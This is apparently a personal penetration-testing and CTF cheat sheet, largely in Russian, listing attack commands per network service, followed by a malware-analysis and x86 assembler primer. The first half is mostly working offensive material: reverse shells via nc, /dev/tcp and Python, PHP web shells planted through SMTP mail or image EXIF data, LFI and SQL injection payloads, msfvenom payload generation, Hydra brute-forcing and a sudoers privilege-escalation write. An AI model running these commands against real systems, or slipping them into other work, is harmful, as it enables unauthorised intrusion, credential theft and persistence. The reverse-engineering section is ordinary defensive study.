Abuse: https://en.wikipedia.org/wiki/Character_Generator_Protocol#cite_note-1 (DOS)

FTP 21

#21/tcp - File Transfer Protocol (FTP)

Ftp <ip>
Username: Anonymous
Password: asdfasdf

Иногда вы можете скопировать файлы с удаленного компьютера, на котором у вас нет логина. Это можно сделать с помощью анонимного FTP. Когда удаленный компьютер запрашивает ваше имя для входа, вы должны ввести слово anonymous. Вместо пароля вы должны ввести свой адрес электронной почты. Это позволяет удаленному сайту вести записи анонимных FTP-запросов. После того, как вы вошли в систему, вы находитесь в анонимном каталоге для удаленного компьютера. Обычно он содержит несколько общедоступных файлов и каталогов. Опять же вы должны быть в состоянии перемещаться в этих каталогах. Однако вы можете копировать файлы только с удаленного компьютера на свой локальный компьютер; Вы не можете писать на удаленной машине или удалять там какие-либо файлы

nmap -sV -Pn -vv -p [PORT] --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftpvsftpd-backdoor,ftp-vuln-cve2010-4221 <IP>

hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -f [IP] ftp

SSH 22

```
#22/tcp SSH

ssh -L 8080:127.0.0.1:8080 user@<IP>  # перенаправление трафика с удаленного порта машины на свой порт, например локальный веб-сервер

sftp -P 2222 <IP>   # иногда получается подключиться, если через ssh не получается
```

Telnet 23

#23/tcp Telnet

SMTP | SMTP Secure 25 | 465

#25|465/tcp SMTP|SMTP Secure

```
smtp-user-enum -M VRF -U /usr/share/wordlists/dirb/common.txt -t <ip>
```

```
nc -vvvv <IP> 25
mail from: 0x23b
rcpt to: <user> (имя пользователя в системе)
data
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 443 > /tmp/f"); ?>
.
quit
потом этот файл можно прочитать в /var/mail/<user> , например с помошью LFI
```

TACACS 49

#49/tcp - TACACS

Сеансовый протокол, использовавшийся на серверах доступа ARPANET. Центральный сервер, который принимает решение, разрешить или не разрешить определённому пользователю подключиться к сети

DNS 53

```
#53 - DNS
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml  -  Dnsrecon DNS Brute Force
dnsrecon -d megacorpone.com -t axfr  -  Dnsrecon DNS List of megacorp
dnsenum zonetransfer.me
```

TFTP 69

#69/udp TFTP

Web 80 | 443

wordpress:

```
wpscan --url http://<IP>/wordpress --enumerate u   #перебор пользователей
wpscan --url http://<IP>/wordpress -e vp                    #перебор уязвимых плагинов
```

Kerberos 88

#88/tcp/udp - Kerberos

Сетевой протокол аутентификации, который предлагает механизм взаимной аутентификации клиента и сервера перед установлением связи между ними, причём в протоколе учтён тот факт, что начальный обмен информацией между клиентом и сервером происходит в незащищенной среде, а передаваемые пакеты могут быть перехвачены и модифицированы
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

Test MS14-068

[1 случай]

GetUserSPNs.py

110 | 995/tcp - POP3|POP3 Secure

#110|995/tcp - POP3|POP3 Secure
Стандартный почтовый протокол, используемый для получения электронной почты с удаленного сервера на локальный почтовый клиент. POP3 позволяет подключаться к серверу и загружать электронную почту. Как только электронные письма загружены, они не находятся на удаленном сервере.

```
telnet <ip> 110
USER username  # логинимся
PASS password  # под пользователем
LIST           # смотрим письма
TOP 2 836      # выводим содержимое письма
QUIT           # выходим
```

RPC 135

Удаленный вызов процедуры (RPC) - это когда компьютерная программа вызывает выполнение процедуры (подпрограммы) в другом адресном пространстве (обычно на другом компьютере в общей сети), которое кодируется так, как если бы это был обычный (локальный) вызов процедуры

```
rpcinfo -p <ip>  # перебор RPC служб
rpcclient --user="" --command=enumprivs -N $ip   -  Connect to an RPC share without a username and password and enumerate privledges
rpcclient --user="<Username>" --command=enumprivs $ip  -  Connect to an RPC share with a username and enumerate privledges
```

IMAP | IMAP Secure 143 | 993

#143|993/tcp - IMAP | IMAP Secure

Протокол доступа к сообщениям в Интернете (IMAP) - это почтовый протокол, используемый для доступа к электронной почте на удаленном веб-сервере с локального клиента. IMAP и POP3 - два наиболее часто используемых почтовых протокола Интернета для получения электронной почты. Оба протокола поддерживаются всеми современными почтовыми клиентами и веб-серверами.

SNMP 161

#161/udp - SNMP - management network
Простой протокол управления сетью (SNMP) - это способ обмена информацией между различными устройствами в сети. Это позволяет устройствам обмениваться данными, даже если они имеют разное аппаратное обеспечение и используют другое программное обеспечение. Без такого протокола, как SNMP, у инструментов управления сетью не было бы возможности идентифицировать устройства, отслеживать производительность сети, отслеживать изменения в сети или определять состояние сетевых устройств в режиме реального времени.

```
snmpwalk -c public -v1 <ip>
snmpcheck -t <ip> -c public  # перебор SNMP служб
snmpenum -t <ip>
```

LDAP 389

#389/udp - LDAP
Обычное использование LDAP - предоставление центрального места для хранения имен пользователей и паролей. Это позволяет множеству различных приложений и служб подключаться к серверу LDAP для проверки пользователей.
ldapsearch -x -b "ou=anonymous,dc=challenge01,dc=root-me,dc=org" -H "ldap://challenge01.root-me.org:54013"

ldapsearch -h [IP] -p [PORT] -x -s base

SMB 445

```
#445/tcp - SMB - Can be samba or Active Directory share
smbclient -L zimmerman - подключение по юзером
smbclient -L <IP> - вывод расшаренных папок
smbclient //<IP>/dir - вывод содержимого расшаренной директории
smbclient //<IP>/dirsec -U helios  - подключение к расшаренной папке за определенного юзера
mount -t cifs -o username=user,password=pass,domain=blah //<ip>/share-name /mnt/cifs
Default shares created:
• IPC$ - helps programs communicate to each other. Not accessible by even admins.
• ADMIN$ - used for remote administration. Not accessible by even admins.
• C$ - manages root volume. Admins can create, edit, delete, view files

SMB Enumeration:
nmap $ip --script smb-os-discovery.nse

nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or
broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip  -  Nmap all SMB scripts authenticated scan

SMB Enumeration Tools
smblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U "" $ip

enum4linux $ip

enum4linux -a $ip

SMB Finger Printing
smbclient -L //$ip

Nmap Scan for Open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445
192.168.10.0/24

Nmap scans for vulnerable SMB Servers
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14
```

MSSQL Microsoft SQL server 1433

```
#1433/tcp - MSSQL Microsoft SQL server
nmap -p 445,1443 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info,ms-sql-tables <ip

nmap -vv -sV -Pn -p [PORT] --script=ms-sql-info,ms-sql-config,ms-sql-dump-hashes --scriptargs=mssql.instance-port=%
s,smsql.username-sa,mssql.password-sa [IP] #  поиск известных уязвимостей

hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -f [IP] mssql    # брут на дефолтные логины и пароли
```

Oracle SQL Server 1521

#1521/tcp - Oracle SQL Server
tnscmd10g version -h <ip>
tnscmd10g status -h **<**ip>

Mysql Server|MariaDB 3306

```
nmap -sV -Pn -vv <ip> -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122


hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -f [IP] mysql  # брут на дефолтные логины и пароли
```

NoSQLs

```
#NoSQLs
-5432/tcp - Postgresql
Login: postgres:postgres
nmap -sV 192.168.100.11 -p 5432
-27017/tcp - Mongo DB
nmap -p 27017 --script mongodb-info <ip>
-5000/tcp - Oracle NoSQL
-6379/tcp - Redis(key value store)
Default no password
```

NFS file share 111|2049

```
#111|2049 - NFS file share
nmap -sV --script=nfs-showmount $ip  - Show Mountable NFS Shares
showmount -e <ip>
mount <ip>:/vol/share /mnt/nfs -nolock
```

Docker 2375|2376

```
#2375|2376 - Docker
export DOCKER_TLS_VERIFY="0"
export DOCKER_HOST="tcp://...."
```

Squid proxy 3128

Если видишь такой прокси, то поменяй прокси в веб-браузере и заходи на страницу машины, на которой крутится веб

Kibana 5601

#5601/tcp - Kibana
Creds: kibana:changeme

VNC 5900

```
#5900/tcp - VNC
nmap -p 5900 --script vnc-info <ip>
use auxiliary/scanner/vnc/vnc_login
vncviewer <ip:port>
```

Elastic Search 9200|9300

Logstash 9600

#9600/tcp - Logstash
Creds: logstash:logstash

NetBIOS

NetBIOS - Программные приложения в сети NetBIOS обнаруживают и идентифицируют друг друга по именам NetBIOS. В Windows имя NetBIOS отличается от имени компьютера и может содержать до 16 символов.

```
enum4linux -a <ip>
nbtscan -r <ip>
Responder to spoof/poison LLMNR /NetBIOS requests
137/udp - NetBIOS Name Resolution
138/udp - NetBIOS Datagram Service
139/tcp - NetBIOS Session Service
```

Remote desktop 3389

#3389/tcp - Remote desktop

```
ncrack -vv --user administrator -P /usr/share/wordlists/rockyou.txt rdp://[IP]    # брут на дефолтные логины и пароли
```

Vulnerabilities

RFI

```
?page=http://assets.pentesterlab.com/test_include_system.txt&c=id
```

LFI

```
#обычный просмотр
/script.php?page=../../../../../../../../etc/passwd
/script.php?file=./....//....//....//....//etc//passwd
#null-byte
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500
# php expect
php?page=expect://ls

/fi/?page=php://input&cmd=ls
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd


#Техники, связанные с укорачиванием
vuln.php?page=/etc/passwd.........................................................................................
vuln.php?page=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
vuln.php?page=/etc/passwd/../../../../../../../../../../../../../../../../../../../..
```

[LFI Windows Files:]

```
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\SAM
%WINDIR%\win.ini
%SYSTEMDRIVE%\boot.ini
%WINDIR%\Panther\sysprep.inf
%WINDIR%\system32\config\AppEvent.Evt
```

[LFI to RCE]

[SMTP 1]

если есть smtp то отправляем письмо:

```
telnet <IP> 25
MAIL FROM: qwe
RCPT TO : user
data
<?php system($_GET['c']);?>
.
quit

http://<ip>/.../.../var/mail/user&c=id
```

[SMTP 1]

если есть smtp (25 port), то можно написать письмо пользователю с содержанием:

```
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 443 > /tmp/f"); ?>
```

после этого читаем с помошью LFI /var/mail/user

[nginx]

```
/var/log/nginx/access.log
/var/log/apache/access.log
```

RCE

```
# Вставляем в поле пинга
127.0.0.1 ; bash -i >& /dev/tcp/<IP>/5555 0>&1   обратная оболочка в ping
```

SQL inj

union

```
qw' union select 1,2,3,4,5 -- (пока ошибка не исчезнет) потом можно вставлять вместо цифр например database() и т.д.
qw' union select 1,database(),3,4,5 - отсюда узнаем название базы данных
qw' union select table_name,2,3,4,5 from information_schema.tables where table_schema='db_name' -- - узнаем
названия таблиц в ранее найденной базе данных
qw' union select column_name,2,3,4,5 from information_schema.columns where table_name='table' --   - узнаем
названия колонок в выбранной таблице
qw' union select id,login,passwd,4,5 from table --  - узнаем содержимое колонок в таблице
```

sqlmap

```
sqlmap -r search.txt  --level=5 --risk=3 --tamper=space2comment --dbs                (1. -D users  --tables) (2. -D
users -T UserDetails --columns --dump)
search.txt  - запрос перехваченный в burp (если протестировать нужно какие-то html поля, например поле поиска)


sqlmap -u http://ip --risk=3 --level=5 --random-agent --dbs   # так тоже можно
```

Shellshock

```
ssh noob@<IP> '() { :;}; /bin/bash'  # если не получается зайти на ssh по какой то причине
```

shells

```
1.   <?php system($_GET['cmd']);?>   # выполнение команд на сервере

2.   python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/
sh","-i"]);'   # все равно что nc -e /bin/bash ip port
```

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Password crack

```
#Получение пароля пользователя из закрытого ключа ssh
пропускаем закрытый ключ ssh через ssh2john и потом перебираем с помощью john (получаем пароль от закрытого ключа)
/usr/share/john/ssh2john.py > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
```

Metasploit

exploit/multi/misc/openoffice_document_macro #генерация полезной нагрузки в odt документе

[Common Exploits]

#Old Linux Kernel
CVE-2016-5195 (< 3.9) (priv+)
https://www.exploit-db.com/exploits/26131/ (< 3.8.9 priv+)

#Windows Vista
use exploit/windows/smb/ms09_060_smb2_negotiate_func_index

#Windows XP
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/dcerpc/ms06_040_netapi - doesn't exist

#Windows 2k/2003
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/dcerpc/ms06_040_netapi - doesn't exist
/usr/share/exploitdb/platforms/windows/remote/66.c <- ms03-026

#Windows 7
use exploit/windows/local/bypassuac

#Windows Server 2008
use exploit/windows/smb/ms09_060_smb2_negotiate_func_index

#SMB
exploit/windows/smb/ms17_010_eternalblue (windows)

[Shells]

##Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

#Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

#Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

[Web Payloads]

#PHP
msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

#ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

#JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

#WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Links

```
https://nmap.org/nsedoc/                                #скрипты для nmap (например поиск уязвимостей сервиса)
https://www.exploit-db.com/                             #база данных уязвимостей
https://www.exploit-db.com/google-hacking-database      #гугл_дорки
Shodanwww.shodan.io                                     #shodan
```

postexploitation

Linux

kernel exploits:

https://www.exploit-db.com/exploits/39166 #3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

LinEnum.sh # вывод информации о системе

getcap -r / 2> /dev/null # капабилити, почти что аналог suid

echo "id_rsa.pub" > authorized_keys # добавляем публичный ключ с кали в папку .ssh взломанного пользователя

Tools

Hydra

[Hydra]

```
#Hydra brute force against SNMP

hydra -P password-file.txt -v $ip snmp

#Hydra FTP known user and rockyou password list

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

#Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

#Hydra SSH using a known password and a username list

hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

#Hydra SSH Against Known username on port 22

hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt

#Hydra POP3 Brute Force

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

#Hydra SMTP Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

#Hydra attack http get 401 login with a dictionary

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

#Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

#Hydra brute force SMB user with rockyou:

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

#Hydra brute force a Wordpress admin login

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log
In&testcookie=1:S=Location'
```

exiftool

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' lo.jpg
mv lo.jpg lo.php.jpg
```

Post exploitation

[Linux]

```
python -c 'import pty; pty.spawn("/bin/sh")'  # интерактивная оболочка на удаленной машине


#получаем шелл через vi:

:set shell=/bin/bash
:shell



echo "www-data ALL=(root) NOPASSWD: /usr/bin/sudo" >> /etc/sudoers # записываем в sudoers для возможности выполнять команду sudo без пароля


#Добавляем в содержимое скрипта/изменяем для получения шелла:
import os
os.system('nc <IP> 4444 -e /bin/sh')
```

Reverse engineering

[Методика по анализу вредоносов?]

1. Все делается в виртуалке
2. прогнать вредонос через strings для общего понимания
3. попробовать запустить с включенными netcat, wireshark, regshot, process explorer, apateDNS, InetSim, исследовать на крипту через PEid(плагин crypto analyzator)
4. исследовать таблицу импорта/экспорта в IDA
5. исследовать какие WinAPI используются для общего понимания
6. исследование ассемблера с последующим анализом каждой функции
7. исследование возможных файлов, которые используются при активации вредоноса
8. построение схемы действия вредоноса
9. выявление сигнатур

IDA Pro

[Дизассемблирование с использованием IDA]

#Окно Импорт
В окне импорта перечислены все функции, импортированные двоичным файлом. Ниже показаны импортированные функции и общие библиотеки (DLL), из которых импортируются эти функции.

Окно Экспорт
В окне экспорта перечислены все экспортируемые функции. Экспортируемыефункции обычно находятся в DLL, так что это окно может быть полезно, когда вы проводите анализ вредоносных DLL.

#Окно Строки
По умолчанию IDA не показывает окно Строки. Вы можете открыть его, нажав на View | Open Subviews | Strings (Представление | Открыть подпредставления | Строки) (или нажав сочетание клавиш Shift+F12). В нем показан список строк, извлеченных из двоичного файла, и адрес, где эти строки могут быть найдены. По умолчанию окно строк отображает только ASCII-строки с нультерминатором в конце длиной, по крайней мере, пять символов. В главе 2 «Статический анализ» мы увидели, что вредоносный файл может использовать Юникод-строки. Вы можете настроить IDA для отображения различных типов строк. Чтобы сделать это, пока окно открыто, щелкните правой кнопкой мыши на Setup (Настройка) (или нажмите сочетание клавиш Ctrl+U), поставьте галочку напротив Unicode C-style (16 бит) и нажмите OK.

#Комментирование в IDA
Комментарии полезны, чтобы напомнить вам о чем-то важном в программе. Чтобы добавить обычный комментарий, поместите курсор на любую строку в листинге дизассемблирования и нажмите клавишу двоеточия (:), откроется диалоговое окно ввода комментария, где вы можете ввести комментарии.

[Дизассемблирование Windows API]

#Kernel32.dll
Эта DLL экспортирует функции, связанные с процессом, памятью, аппаратным обеспечением и операциями с файловой системой. Вредоносная программа импортирует API-функции из этих библиотек для выполнения операций, связанных с процессом, файловой системой и памятью

#Advapi32.dll
Содержит функциональность, связанную со службой и реестром. Вредоносные программы используют API-функции этой DLL для выполнения операций, связанных
со службой и реестром

#Gdi32.dll
Экспортирует функции, связанные с графикой

#User32.dll
Реализует функции, которые создают и обрабатывают компоненты пользовательского интерфейса Windows, такие как рабочий стол, окна, меню, окна сообщений, приглашения и т. д. Некоторые вредоносные программы используют функции из этой DLL для выполнения внедрения DLL и мониторинга клавиатуры (с целью кейлоггинга) и событий мыши

#MSVCRT.dll Содержит реализации функций стандартной библиотеки C

#WS2_32.dll и WSock32.dll
Содержат функции для общения в сети. Вредоносные программы импортируют
функции из этих библиотек для выполнения сетевых задач
Wininet.dll Предоставляет функции высокого уровня для взаимодействия с HTTP- и FTPпротоколами

#Urlmon.dll
Это обертка вокруг WinInet.dll, которая отвечает за обработку MIME-типов и загрузку веб-контента. Вредоносные загрузчики используют функции из этой DLL для загрузки дополнительного вредоносного содержимого

#NTDLL.dll
Экспортирует функции Windows Native API и действует как интерфейс между программами пользовательского режима и ядром. Например, когда программа вызывает API-функции в kernel32.dll (или kernelbase.dll), API, в свою очередь, вызывает короткую заглушку в ntdll.dll. Программа обычно не импортирует функции непосредственно из ntdll.dll; функции в ntdll.dll косвенно импортируются DLL, как, например, Kernel32.dll. Большинство функций в ntdll.dll недокументировано, и авторы вредоносных программ иногда импортируют функции из этой DLL напрямую

[Понимание Windows API]

Используя статический анализ кода, можно сказать, что вредоносная программа добавляет запись в раздел реестра с целью сохранить себя:

```
mov ecx, [esp+7E8h+phkResult]
sub eax, edx
sar eax, 1
lea edx, ds:4[eax*4]
push edx ; cbData
lea eax, [esp+7ECh+pszPath]
push eax  ; lpData
push REG_SZ ; dwType
push 0 ; Reserved
push offset ValueName ; "System"
push ecx  ; hKey
call ds:RegSetValueExW
```

[Отладка вредоносных двоичных файлов]

Существует два способа отладки программы:
(а) подключить отладчик к работающему процессу
(б) запустить новый процесс

Запуск нового процесса в IDA
Существуют разные способы запуска нового процесса. Одним из методов является прямой запуск отладчика без первоначальной загрузки программы. Для этого запустите IDA (без загрузки исполняемого файла), затем выберите Debugger | Run | Local Windows debugger (Отладчик | Запустить | Локальный отладчик Windows). Откроется диалоговое окно, в котором вы можете выбрать
файл для отладки. Если исполняемый файл принимает какие-либо параметры, вы можете указать их в поле Параметры. Этот

метод запустит новый процесс, а отладчик приостановит выполнение в точке входа программы.

Статический анализ

[Статический анализ]

pestudio.exe # это удобный инструмент, который отображает ASCII- и Юникод-строки. Pestudio является отличным инструментом анализа PE-файлов для выполнения первоначальной оценки вредоносного кода подозрительного файла и предназначен для получения различных фрагментов полезной информации из исполняемого PE-файла. Другие особенности этого инструмента будут рассмотрены в следующих разделах. На следующем скриншоте показаны некоторые ASCII- и Юникод-строки, перечисленные Pestudio. Он выделяет некоторые из заметных строк в столбце blacklisted (черный список), что позволяет сосредоточиться на любопытных строках, содержащихся в двоичном файле

floss.exe # https://github.com/fireeye/flare-floss В большинстве случаев авторы вредоносных программ используют простые методы обфускации строк, чтобы избежать обнаружения. В таких случаях эти скрытые строки не будут отображаться в утилите strings и других инструментах, предназначенных для извлечения строк. FireEye Labs Obfuscated String Solver FLOSS) - инструмент, предназначенный для автоматической идентификации и извлечения обфусцированных строк из вредоносной программы. Он может помочь вам определить строки, которые авторы вредоносных программ хотят спрятать. FLOSS также можно использовать, как и утилиту strings, для извлечения удобочитаемых строк (ASCII и Юникод)

UPX #это обычный упаковщик, и вы будете неоднократно сталкиваться с образцами вредоносных программ, упакованных UPX. В большинстве случаев можно распаковать образец, используя опцию -d. Пример команды: upx -d -o spybot_unpacked.exe spybot_packed.exe.

exeinfo.exe #Обнаружение обфусцированного(запакованного) файла с помощью Exeinfo PE

[Упакованные вредоносы]

!Упакованный и обфусцированный код часто содержит как минимум функции LoadLibrary и GetProcAddress, которые используются для загрузки и получения доступа к дополнительным функциям.

PEiD.exe # Эта утилита позволяет установить тип упаковщика или компилятора, которые использовались при сборке приложения, что значительно упрощает анализ упакованных данных
Чтобы распаковать вредоносный код, запакованный с помощью UPX, достаточно загрузить исполняемый файл UPX (upx.sourceforge.net) и запустить его, указав имя запакованной программы в качестве аргумента:
upx -d PackedProgram.exe

[Разделы исполняемого файла формата PE в Windows]

.text # Содержит исполняемый код
.rdata # Хранит глобальные данные программы, доступные только для чтения
.data # Хранит глобальные данные, доступные с любого участка программы
.idata # Иногда несет информацию об импортах функций; в случае отсутствия этого раздела сведения об импорте находятся в .rdata
.edata # Иногда несет информацию об экспортных функциях; в случае отсутствия этого раздела сведения об экспорте находятся в .rdata
.pdata # Присутствует только в 64-битных исполняемых файлах и хранит информацию об обработке исключений
.rsrc # Хранит ресурсы, необходимые исполняемому файлу
.reloc # Содержит информацию для перемещения библиотечных файлов

Динамический анализ

[Динамический анализ]

мониторинг процессов: #включает в себя мониторинг активности процессов и изучение свойств итогового процесса во время выполнения вредоносных программ;
мониторинг файловой системы: #включает в себя мониторинг активности файловой системы в режиме реального времени при выполнении вредоносного кода;
мониторинг реестра: #включает в себя мониторинг измененных ключей реестра и ключей, к которым был получен доступ, а также данных реестра, которые считываются/записываются вредоносным файлом;
мониторинг сети: #включает мониторинг живого трафика в/из системы во время выполнения вредоносной программы.

В ходе динамического (поведенческого) анализа вы будете последовательно выполнять ряд шагов по определению функциональности вредоносного ПО.
В следующем списке перечислены эти этапы:
-откат на чистый снапшот: включает в себя возврат вашей виртуальной машины в чистое состояние;
-запуск инструментов мониторинга / динамического анализа: на этом этапе вы запустите инструменты мониторинга перед выполнением образца вредоносного ПО. Чтобы получить максимум отдачи от утилит, описанных в предыдущем разделе, нужно запускать их с правами администратора;
-выполнение образца вредоносного ПО: на этом этапе вы запустите образец вредоносного ПО с правами администратора;
-остановка инструментов мониторинга: включает в себя остановку инструментов мониторинга, после того как вредоносный файл исполняется в течение указанного времени;
-анализ результатов: включает в себя сбор данных/отчетов инструментов мониторинга и их анализ для определения поведения вредоносного ПО и его функциональности.

ProcessHacker.exe # Это отличный инструмент для изучения процессов, запущенных в системе,и проверки их атрибутов. Она также может быть использована для изучения служб,сетевых подключений, активности диска и т. д.

ProcessMonitor.exe # передовая утилита для мониторинга, которая показывает взаимодействие процессов с файловой системой, реестром и процессами/потоками в режиме реального времени.

Wireshark # no comments

INetSim # Большинство вредоносных программ, когда они выполняются, устанавливают соединение с интернетом (командно-контрольным сервером), и не стоит разрешать им это делать, а также иногда эти серверы могут быть недоступны. В ходе анализа вредоносных программ вам нужно определить поведение вредоносного ПО, не позволяя ему связаться с фактическим сервером (C2), но в то же время необходимо обеспечить все службы, необходимые вредоносному ПО, чтобы оно могло продолжать операцию. INetSim – это бесплатный программный пакет на основе Linux для симуляции стандартных интернет-служб (таких как DNS, HTTP/HTTPS и т. д.). Этапы установки и настройки INetSim на виртуальной машине Linux описаны в главе 1

[Методика анализа вредоноса с использованием статического и динамического анализа]
#Статический анализ

file
nd5sum
strings
virustotal

#Динамический анализ

1. Был произведен откат виртуальных машин Windows и Linux на чистый снапшот.
2. На ВМ Windows был запущен Process Hacker с правами администратора, чтобы определить атрибуты процесса, и был выполнен скрипт Noriben (который, в свою очередь, запустил Process Monitor), чтобы проверить взаимодействие вредоносных программ с системой.
3. На виртуальной машине Linux был запущен INetSim для имитации сетевых служб, и был запущен и настроен Wireshark для захвата сетевого трафика на сетевом интерфейсе.
4. Когда все инструменты мониторинга были запущены, была выполнена вредоносная программа с правами администратора (щелкните правой кнопкой мыши | Run as Administrator (Запуск от имени администратора)) примерно на 40 с.
5. Через 40 с Noriben был остановлен на виртуальной машине Windows. INetSim и Wireshark были остановлены на виртуальной машине Linux.
6. Результаты использования инструментов мониторинга были собраны и исследованы, для того чтобы понять поведение вредоносной программы.

[Анализ DLL с помощью rundll32.exe]

Для определения поведения вредоносного ПО и мониторинга его активности с помощью динамического анализа важно понять, как выполнить DLL. Как уже упоминалось ранее, для запуска DLL необходим процесс. В Windows можно использовать rundll32.exe, чтобы запустить DLL и вызвать функции, экспортированные из нее. Ниже приводится синтаксис для запуска DLL и вызова функции экспорта с помощью rundll32.exe:
#rundll32.exe <full path to dll>,<export function> <optional arguments>
Параметры, связанные с rundll32.exe, объяснены ниже:
-полный путь к DLL: указывает полный путь к DLL, и этот путь не может содержать пробелы или специальные символы;
-функция экспорта: это функция в DLL, которая будет вызываться после загрузки библиотеки;
-необязательные аргументы: аргументы являются необязательными, и если они указаны, то будут переданы в функцию экспорта при ее вызове;
-запятая: ставится между полным путем к DLL и функции экспорта. Функция экспорта требуется для правильного синтаксиса.

1) Анализ DLL без экспорта
#rundll32.exe C:\dir\exp.dll,test (выведет ошибку, но DLL выполнится)
работу dll можно увидеть в Wireshark

2) Анализ DLL, содержащей экспорт
#rundll32.exe C:\der\expr.dll,DllRegisterServer
здесь DllRegisterServer это экспортированная функция, которую можно обнаружить в ProcessHacker

#Запуск DLL из под другого процесса (не из под rundll32)
RemoteDLL.exe
Иногда в DLL реализована проверка того, под каким процессом она запускается, и если мы запускаем ее под rundll32.exe нам выдает ошибку, и поэтому можно использовать эту утилиты для того чтобы сымитировать запуск DLL из под определенного процесса.

Assembler

[Ассемблер]

Процессор x86 имеет восемь регистров общего назначения: eax, ebx, ecx, edx, esp, ebp, esi и edi
Эти регистры имеют размер 32 бита (4 байта)

[Перемещение константы в регистр]

```
#mov dst, src

mov eax,10 ; перемещает 10 в регистр EAX, то же самое, что и eax=10
mov bx,7 ; перемещает в регистр 7 bx, то же самое, что и bx=7
mov eax,64h ; перемещает шестнадцатеричное значение 0x64 (т. е. 100) в EAX
```

[Перемещение значений из регистра в регистр]

```
mov eax,ebx ; перемещает содержимое ebx в eax, т. е. eax=ebx
```

[Перемещение значений из памяти в регистры]

```
mov eax,[ebx] ; перемещает значение по адресу, указанному регистром ebx
mov eax,[ebx+ecx] ; перемещает значение по адресу, указанному ebx+ecx
mov ebx,[ebp-4] ; перемещает значение по адресу, указанному ebp-4
```

Другая инструкция, с которой вы обычно сталкиваетесь, – это инструкция lea, которая обозначает эффективный адрес загрузки; эта инструкция загрузит адрес вместо значения:

```
lea ebx,[0x403000] ; загружает адрес 0x403000 в ebx
lea eax, [ebx] ; если ebx = 0x403000, то eax также будет содержать 0x403000
```

[Перемещение значений из регистров в память]

Вы можете перемещать значение из регистра в память, меняя операнды так, чтобы адрес памяти находился слева (место назначения), а регистр справа (источник):

```
mov [0x403000],eax ; перемещает 4-байтовое значение в eax в ячейку памяти, начиная с 0x403000
mov [ebx],eax ; перемещает 4-байтовое значение в eax в адрес памяти, указанный ebx
```

[Арифметические операции]

```
add eax,42 ; то же самое, что и eax = eax + 42
add eax,ebx ; то же самое, что и eax = eax + ebx
add [ebx],42 ; добавляет 42 к значению в адресе, указанном ebx
sub eax,64h ; вычитает шестнадцатеричное значение 0x64 из eax, то же самое, что и eax = eax-0x64

inc eax ; то же самое, что и eax = eax+1
dec ebx ; то же самое, что и ebx = ebx-1

